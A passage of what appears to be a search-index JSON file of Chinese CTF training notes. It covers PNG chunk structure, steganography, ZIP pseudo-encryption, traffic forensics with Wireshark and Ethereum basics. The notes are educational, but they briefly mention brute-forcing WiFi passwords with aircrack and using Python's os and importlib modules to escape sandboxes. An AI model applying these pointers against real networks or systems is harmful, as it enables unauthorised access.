+ 4 \u5b57\u8282\u7c7b\u578b + \u6570\u636e + 4 \u5b57\u8282 CRC \u6821\u9a8c</li> <li>\u56db\u4e2a\u6807\u51c6\u6570\u636e\u5757\uff1aIHDR\u3001PLTE\u3001IDAT\u3001IEND</li> <li>\u5176\u4ed6\u8f85\u52a9\u6570\u636e\u5757\uff1aeXIf\u3001tEXt\u3001zTXt\u3001tIME\u3001gAMA\u2026\u2026<ul> <li>eXIf \u5143\u4fe1\u606f\uff0ctIME \u4fee\u6539\u65f6\u95f4\uff0ctEXt \u6587\u672c\uff0czTXt \u538b\u7f29\u6587\u672c</li> </ul> </li> </ul> </li> </ul> <p>\u56db\u79cd\u6807\u51c6\u6570\u636e\u5757\uff1a</p> <ul> <li>IHDR\uff1a\u5305\u542b\u56fe\u50cf\u57fa\u672c\u4fe1\u606f\uff0c\u5fc5\u987b\u4f4d\u4e8e\u5f00\u5934<ul> <li>4 \u5b57\u8282\u5bbd\u5ea6 + 4 \u5b57\u8282\u9ad8\u5ea6</li> <li>1 \u5b57\u8282\u4f4d\u6df1\u5ea6\uff1a1\u30012\u30014\u30018\u300116</li> <li>1 \u5b57\u8282\u989c\u8272\u7c7b\u578b\uff1a0 \u7070\u5ea6\uff0c2 RGB\uff0c3 \u7d22\u5f15\uff0c4 \u7070\u5ea6\u900f\u660e\uff0c6 RGB \u900f\u660e</li> <li>1 \u5b57\u8282\u538b\u7f29\u65b9\u5f0f\uff0c1 \u5b57\u8282\u6ee4\u6ce2\u65b9\u5f0f\uff0c\u5747\u56fa\u5b9a\u4e3a 0</li> <li>1 \u5b57\u8282\u626b\u63cf\u65b9\u5f0f\uff1a0 \u975e\u9694\u884c\u626b\u63cf\uff0c1 Adam7 \u9694\u884c\u626b\u63cf</li> </ul> </li> <li>PLTE\uff1a\u8c03\u8272\u677f\uff0c\u53ea\u5bf9\u7d22\u5f15\u989c\u8272\u7c7b\u578b\u6709\u7528</li> <li>IDAT\uff1a\u56fe\u50cf\u6570\u636e\uff0c\u53ef\u4ee5\u6709\u591a\u4e2a\uff0c\u6bcf\u4e2a\u6570\u636e\u5757\u6700\u5927 2 31 -1 \u5b57\u8282</li> <li>IEND\uff1a\u6587\u4ef6\u7ed3\u675f\u6807\u5fd7\uff0c\u5fc5\u987b\u4f4d\u4e8e\u6700\u540e\uff0c\u5185\u5bb9\u56fa\u5b9a<ul> <li>PNG \u6807\u51c6\u4e0d\u5141\u8bb8 IEND \u4e4b\u540e\u6709\u6570\u636e\u5757</li> </ul> </li> </ul>"},{"location":"NOTE/CTF/Misc/#png_1","title":"PNG\u538b\u7f29\u539f\u7406","text":"<ul> <li>PNG \u4f7f\u7528 Deflate \u538b\u7f29\u7b97\u6cd5<ul> <li>\u662f LZ77 \u7ed3\u5408 huffman \u7f16\u7801\u7684\u4e00\u79cd\u538b\u7f29\u7b97\u6cd5</li> <li>LZ77\uff1a\u5229\u7528\u6ed1\u52a8\u7a97\u53e3\uff0c\u627e\u5230\u6700\u957f\u7684\u91cd\u590d\u5b57\u7b26\u4e32\uff0c\u7528\u6307\u9488\u548c\u957f\u5ea6\u8868\u793a  </li> </ul> </li> <li>\u4f1a\u8fdb\u884c\u6ee4\u6ce2\uff0c\u51cf\u5c11\u6570\u636e\u7684\u5197\u4f59\u6027\uff0c\u63d0\u9ad8\u538b\u7f29\u7387<ul> <li>\u4e94\u79cd\u6ee4\u6ce2\u5668\uff1aNone\u3001Sub\u3001Up\u3001Average\u3001Paeth</li> </ul> </li> </ul>"},{"location":"NOTE/CTF/Misc/#part4","title":"Part4:\u9690\u5199\u8fdb\u9636\u6280\u672f","text":""},{"location":"NOTE/CTF/Misc/#_16","title":"\u56fe\u50cf\u5927\u5c0f\u4fee\u6539","text":"<ul> <li>PNG \u56fe\u50cf\u6309\u884c\u8fdb\u884c\u50cf\u7d20\u6570\u636e\u7684\u538b\u7f29\uff0c\u4ee5\u53ca\u5b58\u50a8 / \u8bfb\u53d6</li> <li>\u5f53\u89e3\u7801\u65f6\u5df2\u7ecf\u8fbe\u5230\u4e86 IHDR \u4e2d\u89c4\u5b9a\u7684\u5927\u5c0f\u5c31\u4f1a\u7ed3\u675f</li> <li>\u56e0\u6b64\u9898\u76ee\u53ef\u80fd\u4f1a\u6545\u610f\u4fee\u6539 IHDR \u4e2d\u7684\u9ad8\u5ea6\u6570\u636e\uff0c\u4f7f\u4e4b\u663e\u793a\u4e0d\u5168</li> <li>\u6062\u590d\u7684\u8bdd\u66f4\u6539\u9ad8\u5ea6\u5373\u53ef\uff0c\u540c\u65f6\u6ce8\u610f crc \u6821\u9a8c\u7801\uff0c\u5426\u5219\u53ef\u80fd\u62a5\u9519<ul> <li>binascii.crc32(data)\uff0cdata \u4e3a\u4ece IHDR \u5f00\u59cb\u7684\u6570\u636e</li> </ul> </li> <li> </li> </ul>"},{"location":"NOTE/CTF/Misc/#_17","title":"\u9700\u8981\u539f\u56fe\u7684\u56fe\u50cf\u9690\u5199","text":"<p>\u6709\u4e9b\u60c5\u51b5\u4e0b\u7684\u56fe\u50cf\u9690\u5199\u9700\u8981\u539f\u56fe\u624d\u80fd\u89e3\u5bc6\uff0c\u8fd9\u65f6\u7b2c\u4e00\u6b65\u4e00\u822c\u662f OSINT \u641c\u7d22\u539f\u56fe</p> <ul> <li>\u4f7f\u7528\u8bc6\u56fe\u5de5\u5177\u8fdb\u884c\u641c\u7d22</li> <li>\u4e00\u822c\u9700\u8981\u641c\u539f\u56fe\u7684\u9898\u9898\u76ee\u63cf\u8ff0\u4f1a\u5e26\u6709\u6765\u6e90\u6697\u793a\u4e4b\u7c7b\u7684</li> <li> <p>\u591a\u6ce8\u610f\u641c\u5230\u7684\u56fe\u50cf\u5927\u5c0f\u3001\u8d28\u91cf\uff0c\u786e\u4fdd\u662f\u771f\u6b63\u7684\u539f\u56fe \u63a5\u4e0b\u6765\u5229\u7528\u539f\u56fe\u548c\u9690\u5199\u56fe\u50cf\u7684\u5dee\u5f02\u8fdb\u884c\u5206\u6790</p> </li> <li> <p>\u56fe\u50cf\u50cf\u7d20\u5f02\u6216\u89c2\u5bdf\u5dee\u5f02</p> <ul> <li>PIL \u624b\u52a8\u5904\u7406 / ImageChops.difference</li> <li>stegsolve image combiner \u76f2\u6c34\u5370\u7cfb\u5217</li> </ul> </li> <li>\u7ed9\u4e86\u6253\u6c34\u5370\u7684\u4ee3\u7801\u7684\u8bdd\u76f4\u63a5\u5c1d\u8bd5\u6839\u636e\u4ee3\u7801\u9006\u63a8\u5373\u53ef</li> <li>\u6ca1\u6709\u7ed9\u4ee3\u7801\u7684\u53ef\u80fd\u5c31\u662f\u5e38\u89c1\u7684\u73b0\u6709\u76f2\u6c34\u5370\u5de5\u5177</li> <li> <p>guofei9987/blind_watermark</p> </li> <li> <p>\u5de5\u5177steghide\u3001stegoveritas\u3001SilentEye</p> </li> </ul>"},{"location":"NOTE/CTF/Misc/#_18","title":"\u97f3\u9891\u6587\u4ef6\u683c\u5f0f\u7b80\u4ecb","text":"<p>\u97f3\u9891\u7c7b\u9898\u76ee\u5176\u5b9e\u5e76\u4e0d\u5e38\u51fa\uff1a</p> <ul> <li>mp3\uff1a\u6709\u635f\u538b\u7f29</li> <li>\u5177\u4f53\u683c\u5f0f\u4e0d\u591a\u4ecb\u7ecd\uff0c\u9047\u5230\u4e86\u57fa\u672c\u4e0a\u4e5f\u5c31\u662f\u58f0\u97f3\u672c\u8eab\u7684\u9690\u5199</li> <li>wav\uff1a\u65e0\u635f\u65e0\u538b\u7f29\uff08waveform\uff09<ul> <li>\u76f4\u63a5\u5b58\u50a8\u7684\u662f\u97f3\u9891\u7684\u6ce2\u5f62\u6570\u636e\uff0c\u53ef\u64cd\u4f5c\u6027\u66f4\u9ad8</li> <li>\u6587\u4ef6\u7ed3\u6784\u4e5f\u662f\u5206 chunk \u7684\uff0c\u6709 RIFF\u3001fmt\u3001data \u7b49</li> <li>\u7f16\u7801\u97f3\u9891\u6570\u636e\u7684 sample \u4e5f\u53ef\u4ee5\u8fdb\u884c LSB \u9690\u5199</li> </ul> </li> <li>flac\uff1a\u65e0\u635f\u538b\u7f29\uff0c\u5982\u679c\u51fa\u73b0\u53ef\u80fd\u8003\u8651\u8f6c\u6362\u4e3a wav</li> <li>\u4f7f\u7528 Python \u7684 soundfile / librosa \u5e93\u8fdb\u884c\u97f3\u9891\u5904\u7406</li> <li>\u9891\u8c31\u9690\u5199</li> <li>\u97f3\u9891\u53e0\u52a0</li> <li>\u5982\u679c\u53ef\u4ee5\u627e\u5230\u539f\u97f3\u9891\uff0c\u6216\u63d0\u4f9b\u4e86\u539f\u97f3\u9891\uff0c\u53ef\u4ee5\u8fdb\u884c\u6bd4\u8f83</li> <li>\u65b9\u6cd5\u662f\u5728 Audition \u4e2d\u521b\u5efa\u591a\u8f68\u4f1a\u8bdd<ul> <li>\u5c06\u4e24\u4e2a\u97f3\u9891\u62d6\u5165\u4e24\u4e2a\u8f68\u9053</li> <li>\u6548\u679c &gt; \u5339\u914d\u54cd\u5ea6\uff0c\u5c06\u4e24\u6761\u97f3\u8f68\u7684\u54cd\u5ea6\u5339\u914d</li> <li>\u70b9\u8fdb\u5176\u4e2d\u4e00\u6761\u97f3\u8f68\uff0c\u6548\u679c &gt; \u53cd\u76f8\uff0c\u5c06\u6ce2\u5f62\u4e0a\u4e0b\u98a0\u5012</li> <li>\u4e24\u6761\u97f3\u8f68\u5339\u914d\u4e0a\u6ce2\u5f62\u4e4b\u540e\u64ad\u653e / \u6df7\u97f3\uff0c\u5c31\u80fd\u542c\u5230\u5dee\u5f02\u4e86</li> </ul> </li> </ul>"},{"location":"NOTE/CTF/Misc/#misc_1","title":"\u5176\u4ed6Misc\u9898\u76ee","text":""},{"location":"NOTE/CTF/Misc/#zip","title":"ZIP\u4f2a\u52a0\u5bc6","text":"<ul> <li>ZIP \u4e5f\u4f7f\u7528\u5206\u6bb5\u7684\u65b9\u5f0f\u5b58\u50a8\u6570\u636e<ul> <li>\u672c\u5730\u6587\u4ef6\u8bb0\u5f55 50 4B 03 04\uff0c\u53ef\u4ee5\u6709\u591a\u4e2a</li> <li>\u4e2d\u592e\u76ee\u5f55\u8bb0\u5f55 50 4B 01 02\uff0c\u53ef\u4ee5\u6709\u591a\u4e2a</li> <li>\u4e2d\u592e\u76ee\u5f55\u7ed3\u675f 50 4B 05 06</li> </ul> </li> <li>\u5728\u4e2d\u592e\u76ee\u5f55\u8bb0\u5f55\u4e2d\u6709\u4e00\u4e2a\u5b57\u6bb5\u8bb0\u5f55\u52a0\u5bc6\u65b9\u5f0f<ul> <li>\u5982\u679c\u4e0d\u4e3a 0 \u8868\u793a\u6709\u52a0\u5bc6</li> </ul> </li> <li>\u5176\u4ed6\u5b57\u6bb5\uff0c\u5982\u6700\u5c0f\u7248\u672c<ul> <li>\u53ef\u80fd\u4fee\u6539\u4e3a\u4e00\u4e2a\u4e0d\u5408\u6cd5\u7684\u503c\uff0c\u65e0\u6cd5\u7528\u89e3\u538b\u8f6f\u4ef6\u89e3\u538b</li> </ul> </li> </ul>"},{"location":"NOTE/CTF/Misc/#ppc","title":"\u6c99\u7bb1\u9003\u9038\u548c PPC","text":"<ul> <li>\u6c99\u7bb1\uff1a\u505a\u4e86\u67d0\u4e9b\u9650\u5236\u7684\u9694\u79bb\u73af\u5883<ul> <li>\u4f8b\u5982 Docker\uff0c\u6216\u4e00\u4e2a\u6c99\u7bb1\u7a0b\u5e8f\uff0c\u5982 rbash</li> </ul> </li> <li>Python \u89e3\u91ca\u5668\u4e5f\u53ef\u4ee5\u4f5c\u4e3a\u4e00\u4e2a\u6c99\u7bb1<ul> <li>\u901a\u8fc7\u9650\u5236\u6a21\u5757\u3001\u9650\u5236\u51fd\u6570\u3001\u4ee3\u7801\u5ba1\u8ba1\u7b49\u65b9\u5f0f</li> </ul> </li> <li> <p>\u6c99\u7bb1\u9003\u9038\u5c31\u662f\u5728\u6c99\u7bb1\u4e2d\u6267\u884c\u4ee3\u7801\uff0c\u83b7\u53d6\u5230\u6c99\u7bb1\u5916\u7684\u6743\u9650</p> <ul> <li>Python \u7684 os \u53ca importlib \u6a21\u5757\u662f\u5e38\u89c1\u7684\u9003\u9038\u70b9</li> </ul> </li> <li> <p>PPC \u9898\u8f83\u4e3a\u4e0d\u5e38\u89c1</p> </li> <li>\u4e00\u822c\u662f\u9650\u5236\u4ee3\u7801\u957f\u5ea6 / \u6c47\u7f16\u6307\u4ee4\uff0c\u8981\u6c42\u5b9e\u73b0\u67d0\u4e2a\u529f\u80fd</li> </ul>"},{"location":"NOTE/CTF/Misc/#7-9-misc2","title":"7-9 Misc\u4e13\u98982","text":"<p>\u6388\u8bfe\uff1aTonyCrane</p>"},{"location":"NOTE/CTF/Misc/#part1_1","title":"Part1:\u6d41\u91cf\u53d6\u8bc1","text":""},{"location":"NOTE/CTF/Misc/#_19","title":"\u6d41\u91cf\u53d6\u8bc1\u57fa\u7840","text":"<ul> <li>\u7f51\u7edc\u6d41\u91cf\uff08 &gt; \u56de\u987e web \u57fa\u7840\uff09<ul> <li>\u5e94\u7528\u5c42\uff08HTTP/FTP/ .\uff09 &gt; \u8868\u793a\u5c42 &gt; \u4f1a\u8bdd\u5c42\uff08SSL/TLS/ .\uff09</li> <li> <p>\u4f20\u8f93\u5c42\uff08TCP/UDP\uff09 &gt; \u7f51\u7edc\u5c42\uff08IP/ICMP/ .\uff09</p> </li> <li> <p>\u6570\u636e\u94fe\u8def\u5c42 &gt; \u7269\u7406\u5c42</p> </li> </ul> </li> <li>\u6700\u7ec8\u4f20\u8f93\u7684\u4ecd\u7136\u662f\u4e8c\u8fdb\u5236\u6570\u636e<ul> <li>\u6355\u83b7\u8fd9\u4e9b\u6570\u636e\uff0c\u5c31\u53ef\u4ee5\u5206\u6790\u5f97\u5230\u6b63\u5728\u8fdb\u884c\u7684\u901a\u4fe1\u5185\u5bb9</li> </ul> </li> <li>\u6d41\u91cf\u53d6\u8bc1\u4e00\u822c\u5c31\u662f\u62ff\u5230\u8fd9\u4e9b\u6570\u636e\u5305\uff08cap\u3001pcap\u3001pcapng \u683c\u5f0f\uff09\u8fdb\u884c\u5206\u6790<ul> <li>\u5982\u6709\u635f\u574f\u7684\u8bdd\u4fee\u590d\u6570\u636e\u5305\uff08\u5c11\u89c1\uff0cpcapfix \u53ef\u4ee5\u4fee\u590d\uff09</li> <li>\u5206\u6790\u3001\u63d0\u53d6\u5f97\u5230\u6b63\u5728\u901a\u4fe1\u7684\u5185\u5bb9\uff08\u53ef\u80fd\u5305\u542b\u6709\u6548\u4fe1\u606f\uff09</li> <li>\u5206\u6790\u4e00\u4e9b\u7279\u5b9a\u7684\u3001\u4e0d\u592a\u5e38\u89c1\u7684\u534f\u8bae\uff08\u6bd4\u5982\u4e00\u4e9b\u81ea\u5b9a\u4e49\u534f\u8bae\uff09</li> <li>\u5206\u6790\u3001\u89e3\u5bc6\u4e00\u4e9b\u52a0\u5bc6\u7684\u534f\u8bae\uff08\u6bd4\u5982 VMess \u7b49\uff09</li> </ul> </li> </ul>"},{"location":"NOTE/CTF/Misc/#_20","title":"\u6d41\u91cf\u53d6\u8bc1\u5e38\u7528\u5de5\u5177","text":"<ul> <li>tcpdump \u6293 TCP \u5305\uff08Linux \u547d\u4ee4\u884c\uff09</li> <li>Wireshark\uff1a\u76f4\u63a5\u6293\u5305\uff0c\u5f97\u5230\u7269\u7406\u5c42\u7684\u5168\u90e8\u6570\u636e\u5e76\u89e3\u6790\uff08\u5f00\u6e90\uff09</li> <li>\u81ea\u5e26\u547d\u4ee4\u884c\u5de5\u5177 tshark</li> <li>termshark\uff1a\u7c7b\u4f3c Wireshark \u7684\u5f00\u6e90\u547d\u4ee4\u884c\u5de5\u5177</li> <li>pyshark\uff1atshark \u7684 Python \u5c01\u88c5\uff0c\u53ef\u4ee5\u7528 Python \u811a\u672c\u5206\u6790</li> <li>scapy\uff1aPython \u5e93\uff0c\u4e5f\u53ef\u4ee5\u7528\u6765\u5206\u6790\u6d41\u91cf\u5305</li> </ul> <p>Wireshark \u57fa\u672c\u7528\u6cd5</p> <ul> <li>\u6d4f\u89c8\u4e3b\u754c\u9762\u7684\u6240\u6709\u6570\u636e\u5305\uff0c\u5927\u81f4\u4e86\u89e3\u90fd\u7531\u4ec0\u4e48\u534f\u8bae\u7ec4\u6210</li> <li>\u8ffd\u8e2a\u6d41\uff08\u8ffd\u8e2a TCP \u6d41 / \u8ffd\u8e2a HTTP \u6d41\uff09</li> <li>\u5f97\u5230\u67d0\u6b21\u901a\u4fe1\u7684\u5168\u90e8\u6570\u636e\u5305\uff0c\u5e76\u8fdb\u884c\u89e3\u6790</li> <li>\u53e6\u5b58\u4e3a\uff0c\u4fdd\u5b58\u6d41\u6570\u636e</li> <li>\u53ef\u4ee5\u8f6c\u6362\u4e0d\u540c\u7684\u663e\u793a\u5f62\u5f0f\uff08ASCII\u3001HEX\u3001Raw\uff09</li> <li>\u6587\u4ef6 &gt; \u5bfc\u51fa\uff0c\u63d0\u53d6\u67d0\u4e9b\u6570\u636e\u5305\u7684\u6d41\u5185\u5bb9</li> <li>\u7edf\u8ba1\u90e8\u5206<ul> <li>\u534f\u8bae\u5c42\u6b21\uff1a\u7edf\u8ba1\u5404\u5c42\u534f\u8bae\u7684\u6570\u636e\u5305\u6570\u91cf</li> <li>\u6d41\u91cf\u56fe\uff1a\u7edf\u8ba1\u5404\u4e2a\u7aef\u53e3\u7684\u6d41\u91cf\uff0c\u53ef\u89c6\u5316\u663e\u793a</li> <li>HTTP\uff1a\u5206\u7ec4\u8ba1\u6570\u3001\u8bf7\u6c42\u7edf\u8ba1</li> </ul> </li> </ul> <p>Wireshark \u8fc7\u6ee4\u5668</p> <ul> <li>\u8fc7\u6ee4\u534f\u8bae\uff1a\u76f4\u63a5\u8f93\u5165 tcp/udp/http \u7b49</li> <li>\u8fc7\u6ee4 ip\uff1aip.addr = xx.xx.xx.xx \u6216 ip.src ip.dst</li> <li>\u8fc7\u6ee4\u7aef\u53e3\uff1atcp.port = 80 \u6216 tcp.srcport tcp.dstport</li> <li>\u5305\u957f\u5ea6\u8fc7\u6ee4\uff1aframe.len ip.len tcp.len \u2026\u2026</li> <li>http \u8fc7\u6ee4<ul> <li>http.request.method = GET</li> <li>http.request.uri = \"/index.php\"</li> <li>http contains \"flag\"\uff08\u76f8\u5f53\u4e8e\u641c\u7d22\u529f\u80fd\uff09</li> </ul> </li> </ul> <p>HTTP\u534f\u8bae\u6d41\u91cf\u5206\u6790</p> <ul> <li>\u5206\u6790\u7edf\u8ba1\u4fe1\u606f<ul> <li>\u67e5\u770b\u6240\u6709\u7684 HTTP \u8bf7\u6c42 URI</li> <li>\u5206\u6790 HTTP \u5f80\u8fd4\u7684\u60c5\u51b5\uff0c\u6d41\u91cf\u6574\u4f53\u4fe1\u606f</li> </ul> </li> <li>\u5177\u4f53\u5206\u6790\u67d0\u4e9b\u8bf7\u6c42\uff1a\u5229\u7528\u8fc7\u6ee4\u5668</li> <li>\u5206\u6790\u67d0\u4e00\u6570\u636e\u5305\u5177\u4f53\u5185\u5bb9<ul> <li>\u8ddf\u8e2a\u6d41\uff0c\u8ddf\u8e2a TCP \u89e3\u6790 TCP\uff0c\u8ddf\u8e2a HTTP \u53ef\u4ee5\u81ea\u52a8\u89e3\u538b gzip \u7b49</li> <li>\u5206\u6790\u8bf7\u6c42\u5934\u3001\u54cd\u5e94\u5934\u3001\u8bf7\u6c42\u4f53\u3001\u54cd\u5e94\u4f53\u7b49</li> </ul> </li> </ul> <p>UDP \u534f\u8bae</p> <ul> <li> <p>UDP \u534f\u8bae\u662f\u65e0\u8fde\u63a5\u7684\uff0c\u4e0d\u9700\u8981\u50cf TCP \u4e00\u6837\u4e09\u6b21\u63e1\u624b</p> </li> <li> <p>\u548c TCP/HTTP \u4e00\u6837\u76f4\u63a5\u8ffd\u8e2a\u5206\u6790\u5c31\u53ef\u4ee5</p> </li> <li>\u5e38\u89c1\u7684\u57fa\u4e8e UDP \u7684\u534f\u8bae\uff1aDNS</li> <li> <p>\u5177\u4f53\u9898\u76ee\u793a\u4f8b</p> <ul> <li> <p>\u672c\u6b21 lab \u4e2d\u7684\u9898\u76ee\uff1adnscap</p> </li> <li> <p>MRCTF 2022\uff1aBleach!</p> </li> <li>\u57fa\u4e8e UDP \u7684 RTP \u534f\u8bae\uff0c\u9700\u8981\u624b\u52a8\u9009\u62e9\u8fdb\u884c\u89e3\u6790</li> <li>RTP \u662f\u4e00\u79cd\u97f3\u89c6\u9891\u4f20\u8f93\u534f\u8bae\uff0c\u53ef\u4ee5\u5f97\u5230\u97f3\u9891\u6d41</li> <li>wav \u97f3\u9891\u6d41\u4e2d LSB \u5305\u542b\u9690\u5199\u56fe\u7247</li> </ul> </li> </ul> <p>\u5176\u4ed6\u534f\u8bae</p> <ul> <li>ICMP \u534f\u8bae\uff1aping<ul> <li>\u67d0\u65f6\u4e5f\u4f1a\u5e26\u6709\u4e00\u4e9b\u4fe1\u606f\uff0c\u53ef\u4ee5\u8fdb\u884c\u8fdb\u4e00\u6b65\u5206\u6790</li> </ul> </li> <li> <p>OICQ \u534f\u8bae\uff1aQQ \u4f7f\u7528\uff0c\u662f\u52a0\u5bc6\u7684\uff0c\u4f46\u662f\u53ef\u4ee5\u770b\u5230\u53cc\u65b9 QQ \u53f7\u7b49</p> </li> <li> <p>WIFI \u534f\u8bae\uff08IEEE 802.11\uff09</p> <ul> <li>\u53ef\u4ee5\u4f7f\u7528 Linux aircrack \u5957\u4ef6\u7206\u7834\u5bc6\u7801      </li> <li>\u6709\u4e86\u5bc6\u7801\u540e\u53ef\u4ee5\u5728 Wireshark \u4e2d\u8bbe\u7f6e\u5e76\u89e3\u5bc6\u6d41\u91cf</li> </ul> </li> <li>USB \u534f\u8bae<ul> <li>\u5b89\u88c5\u4e86 USBcap \u4e4b\u540e\u53ef\u4ee5\u5728 Wireshark \u4e2d\u6355\u83b7 USB \u6d41\u91cf</li> <li>\u6709\u5de5\u5177\u53ef\u4ee5\u89e3\u6790\u6d41\u91cf\uff0c\u7ed8\u5236\u9f20\u6807\u8f68\u8ff9\uff0c\u5f97\u5230\u6309\u952e\u4fe1\u606f\u7b49</li> </ul> </li> <li>\u5176\u4ed6\u52a0\u5bc6\u534f\u8bae<ul> <li>VMess\uff0c\u9700\u8981\u8bfb\u6587\u6863 / \u6e90\u7801\uff0c\u5b9e\u73b0\u89e3\u5bc6</li> </ul> </li> </ul>"},{"location":"NOTE/CTF/Misc/#part2_1","title":"Part2:\u4ee5\u592a\u574a\u533a\u5757\u94fe\u57fa\u7840","text":""},{"location":"NOTE/CTF/Misc/#_21","title":"\u4ee5\u592a\u574a\u6a21\u578b\u5168\u89c8","text":"<p>\u533a\u5757\u4e0e\u4e16\u754c\u72b6\u6001</p> <p> - \u6bcf\u4e2a\u533a\u5757\u5305\u542b\u4e09\u9897 Merkle \u6811\u6839\u8282\u70b9    - stateRoot \u5373\u4e16\u754c\u72b6\u6001\u6811\u6839\u8282\u70b9\uff0c\u72b6\u6001\u662f\u4e00\u7ec4\u7528\u6237\u72b6\u6001\u7684\u7ec4\u5408 - \u533a\u5757\u7531\u201c\u77ff\u5de5\u201d\u6216\u201c\u9a8c\u8bc1\u8005\u201d\u5c06\u4ea4\u6613\u6253\u5305\u5f62\u6210\uff0c\u540e\u5e7f\u64ad\u5230\u7f51\u7edc\u4e2d    - \u6bcf\u6761\u4ea4\u6613\u4f1a\u5f15\u53d1\u4e16\u754c\u72b6\u6001\u7684\u8f6c\u53d8\uff0c\u6d88\u8017\u4e00\u5b9a gas</p> <p>\u4ea4\u6613\u4e0e\u4e16\u754c\u72b6\u6001\u8f6c\u53d8</p> <p> - \u6bcf\u4e00\u6761\u4ea4\u6613\u90fd\u4f1a\u5f15\u8d77\u72b6\u6001\u7684\u6539\u53d8 - \u591a\u4e2a\u4ea4\u6613\u6253\u5305\u5230\u4e00\u8d77\uff0c\u6700\u7ec8\u72b6\u6001\u5c31\u662f\u65b0\u533a\u5757\u5b58\u50a8\u7684\u72b6\u6001 - \u4ea4\u6613\u4fe1\u606f\u4e2d\u5305\u542b hash/v/r/s \u4e3a\u4ea4\u6613\u7b7e\u540d\uff0c\u7528\u4e8e\u9a8c\u8bc1\u4ea4\u6613\u7684\u5408\u6cd5\u6027 - \u5408\u7ea6\u5728 EVM \u4e0a\u6267\u884c\uff0c\u6267\u884c\u8fc7\u7a0b\u4e2d\u4e5f\u6709\u5404\u79cd\u6f0f\u6d1e</p>"},{"location":"NOTE/CTF/Misc/#_22","title":"\u8d26\u6237\u4e0e\u4ea4\u6613","text":"<p>\u8d26\u6237</p> <ul> <li>\u5916\u90e8\u8d26\u6237\uff08Externally Owned Account\uff09</li> <li>\u6709\u4e00\u5bf9\u516c\u79c1\u94a5\uff0c\u7528\u4e8e\u7b7e\u7f72\u4ea4\u6613<ul> <li>\u79c1\u94a5\u662f\u968f\u673a\u751f\u6210\u7684 256 \u4f4d\u6570\uff0832 \u5b57\u8282\uff09</li> <li>\u516c\u94a5\u7531\u79c1\u94a5\u7ecf\u8fc7 ECDSA \u7b97\u6cd5\u8ba1\u7b97\u800c\u6765\uff0c\u662f\u4e00\u4e2a 64 \u5b57\u8282\u7684\u6570</li> <li>\u5730\u5740\u7531\u516c\u94a5\u7ecf\u8fc7 Keccak-256 \u54c8\u5e0c\u540e\u53d6\u524d 20 \u5b57\u8282\u5f97\u5230</li> </ul> </li> </ul> <p></p> <ul> <li>\u5408\u7ea6\u8d26\u6237\uff08Contract Account\uff09</li> <li>\u7531 EOA \u901a\u8fc7\u4ea4\u6613\u521b\u5efa\u7684\u8d26\u6237\uff0c\u5176\u4e2d\u5305\u542b\u5408\u7ea6\u4ee3\u7801</li> <li>\u5408\u7ea6\u53ef\u4ee5\u5b58\u50a8\u3001\u62e5\u6709\u4ee5\u592a\u5e01</li> <li>\u5411\u5408\u7ea6\u8d26\u6237\u53d1\u9001\u4ea4\u6613 &gt; \u8c03\u7528\u5408\u7ea6\u4e2d\u7684\u51fd\u6570</li> <li>\u5408\u7ea6\u672c\u8eab\u4e0d\u80fd\u4e3b\u52a8\u53d1\u8d77\u4ea4\u6613\uff0c\u4f46\u53ef\u4ee5\u5728\u88ab\u8c03\u7528\u65f6\u5411\u5916\u53d1\u9001\u4ea4\u6613  </li> </ul> <p>\u4ea4\u6613</p> <ul> <li>\u4e00\u6761\u4ea4\u6613\u5305\u542b\u4ee5\u4e0b\u5185\u5bb9\uff1a    <ul> <li>from\uff1a\u4ea4\u6613\u53d1\u9001\u8005\u5730\u5740 </li> <li>to\uff1a\u4ea4\u6613\u63a5\u6536\u8005\u5730\u5740\uff0c\u5982\u679c\u4e3a\u7a7a\u5219\u8868\u793a\u662f\u5728\u521b\u5efa\u667a\u80fd\u5408\u7ea6</li> <li>value\uff1a\u4ea4\u6613\u91d1\u989d\uff0c\u5373\u53d1\u9001\u65b9\u8981\u7ed9\u63a5\u6536\u65b9\u8f6c\u79fb\u7684\u4ee5\u592a\u5e01\u6570\u91cf\uff08wei \u4e3a\u5355\u4f4d\uff09</li> <li>data\uff1a\u4ea4\u6613\u6570\u636e\uff0c\u5982\u679c\u662f\u521b\u5efa\u667a\u80fd\u5408\u7ea6\u5219\u662f\u667a\u80fd\u5408\u7ea6\u4ee3\u7801\uff0c\u5982\u679c\u662f\u8c03\u7528\u667a\u80fd \u5408\u7ea6\u5219\u662f\u8c03\u7528\u7684\u51fd\u6570\u540d\u548c\u53c2\u6570</li> <li>gasPrice\uff1a\u4ea4\u6613\u7684 gas \u4ef7\u683c\uff0c\u5373\u6bcf\u5355\u4f4d gas \u7684\u4ef7\u683c\uff08wei \u4e3a\u5355\u4f4d\uff09</li> <li>gasLimit\uff1a\u4ea4\u6613\u7684 gas \u4e0a\u9650\uff0c\u5373\u4ea4\u6613\u5141\u8bb8\u6267\u884c\u7684\u6700\u5927 gas \u6570\u91cf</li> <li>nonce\uff1a\u4ea4\u6613\u7684\u5e8f\u53f7\uff0c\u5373\u53d1\u9001\u8005\u5df2\u7ecf\u53d1\u9001\u7684\u4ea4\u6613\u6570\u91cf</li> </ul> </li> <li> <p>\u9664\u6b64\u4e4b\u5916\u53d1\u9001\u7684\u4ea4\u6613\u6570\u636e\u5305\u8fd8\u9700\u8981\u5305\u542b\uff1a</p> <ul> <li> <p>hash\uff1a\u4ea4\u6613\u7684\u54c8\u5e0c\u503c\uff0c\u7531\u524d\u9762\u7684\u5185\u5bb9\u548c chainId \u8ba1\u7b97\u5f97\u5230</p> </li> <li> <p>v\u3001r\u3001s\uff1a\u4ea4\u6613\u7b7e\u540d\u7684\u4e09\u4e2a\u90e8\u5206\uff0c\u7531\u53d1\u9001\u8005\u79c1\u94a5\u5bf9\u4ea4\u6613\u54c8\u5e0c\u503c\u8fdb\u884c\u7b7e\u540d\u5f97\u5230 \u4ee5\u592a\u5e01\u5355\u4f4d</p> </li> </ul> </li> </ul> <p>\u5173\u4e8e\u94fe\u4e0e faucet</p> <ul> <li> <p>\u516c\u5f00\u94fe\uff1a\u771f\u5b9e\u7684\u4ea4\u6613</p> <ul> <li> <p>\u901a\u8fc7 https: /etherscan.io/ \u67e5\u770b</p> </li> <li> <p>\u4e3b\u7f51\uff08mainnet\uff09\uff1a\u771f\u6b63\u7684\u91d1\u94b1\u4ea4\u6613\uff0c\u5f88\u5c11\u4f7f\u7528</p> </li> <li> <p>\u6d4b\u8bd5\u94fe\uff1aSepolia / Holesky \u94fe\uff0c\u53ef\u4ee5\u901a\u8fc7 faucet \u83b7\u53d6\u514d\u8d39\u4ee3\u5e01</p> <ul> <li> <p>https: 